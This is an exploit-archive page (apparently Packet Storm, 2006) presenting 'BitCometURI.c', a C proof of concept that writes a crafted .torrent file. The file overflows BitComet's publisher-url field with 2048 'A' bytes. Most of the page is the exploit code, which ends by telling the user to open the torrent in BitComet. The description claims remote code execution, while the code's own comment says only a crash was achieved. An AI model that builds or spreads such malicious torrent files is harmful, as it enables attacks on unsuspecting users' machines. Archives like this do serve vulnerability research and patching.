the internet's safety

BitCometURI.c

BitCometURI.c
Posted Jan 27, 2006
Authored by nick58

A vulnerability in BitComet allows remote attackers to construct a special .torrent file and put it on any BitTorrent publishing web site. When a user downloads the .torrent file and clicks on publishers name, BitComet will crash. An attacker can run arbitrary code on victims' host by specially crafted .torrent file.

tags | exploit, remote, web, arbitrary
MD5 | 14470abea96e7bf3ad397bff3fa16165

BitCometURI.c

Change Mirror Download
#include <windows.h>
#include <stdio.h>

/*
* .::[ BitComet URI Buffer Overflow ]::.
*
* A vulnerability in BitComet, allows remote attackers construct a special .torrent file and put
* it on any BitTorrent publishing web site. When a user downloads the .torrent file and clicks
* on publishers name, BitComet will crash. An attacker can run arbitrary code on victims' host
* by specially crafted .torrent file.
*
* .text:0056057B mov edx, [eax]
* .text:0056057D push 0
* .text:0056057F push esi
* .text:00560580 mov ecx, eax
* .text:00560582 call dword ptr [edx+9Ch] <--- bug occurs here
*
* [Credits]: Fortinet Research
* [Notes]: I could only do DoS because the EAX and ECX were only controlled, and were seperated by 0's.
*/

char bof[] =
"d8:announce15:http://test.com"
"7:comment4:1234"
"13:comment.utf-84:1234"
"10:created by13:BitComet/0.60"
"13:creation datei1137897500e"
"8:encoding5:UTF-84:info"
"d6:lengthi0e"
"4:name8:null.txt"
"10:name.utf-88:null.txt"
"12:piece lengthi32768e"
"6:pieces20:\xDA\x39\xA3\xEE\x5E\x6B\x4B\x0D\x32\x55\xBF\xEF\x95\x60\x18\x90\xAF\xD8\x07\x09"
"9:publisher4:test"
"13:publisher-url19:http://www.test.com"
"19:publisher-url.utf-8";

char eof[] =
"e5:nodesll15:213.112.235.171"
"i31225eel14:210.49.100.112"
"i32459eel14:61.229.130.217"
"i17550eel14:200.88.148.239"
"i61154eel14:222.84.178.235"
"i17581eel14:220.210.178.80"
"i11385eel12:218.7.239.78"
"i50468eel12:130.158.6.55"
"i62093eel13:219.68.237.54"
"i26034eel12:82.83.53.230"
"i7836eeee";

int main(int argc, char **argv) {
FILE *fp;
char buf[2048];

printf("+---=[ BitComet URI Buffer Overflow ]=---+\n");
printf("+---=[ Coded by DiGiTALSTAR ]=---+\n\n");

printf("Opening torrent for writing... ");
if (!(fp = fopen("comet.torrent", "w"))) {
printf("FAILED\n");
exit(-1);
}
printf("OK");

memset(buf, '\x41', sizeof(buf));

printf("Writing torrent data... ");
if (fwrite(bof, 1, sizeof(bof)-1, fp) <= 0) {
printf("FAILED\n");
exit(-1);
}
if (fprintf(fp, "%d:", sizeof(buf)) <= 0) {
printf("FAILED\n");
exit(-1);
}
if (fwrite(buf, 1, sizeof(buf), fp) <= 0) {
printf("FAILED\n");
exit(-1);
}
if (fwrite(eof, 1, sizeof(eof)-1, fp) <= 0) {
printf("FAILED\n");
exit(-1);
}
printf("DONE\n");

fclose(fp);

printf("Now open the torrent in bitcomet and click test\n");

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close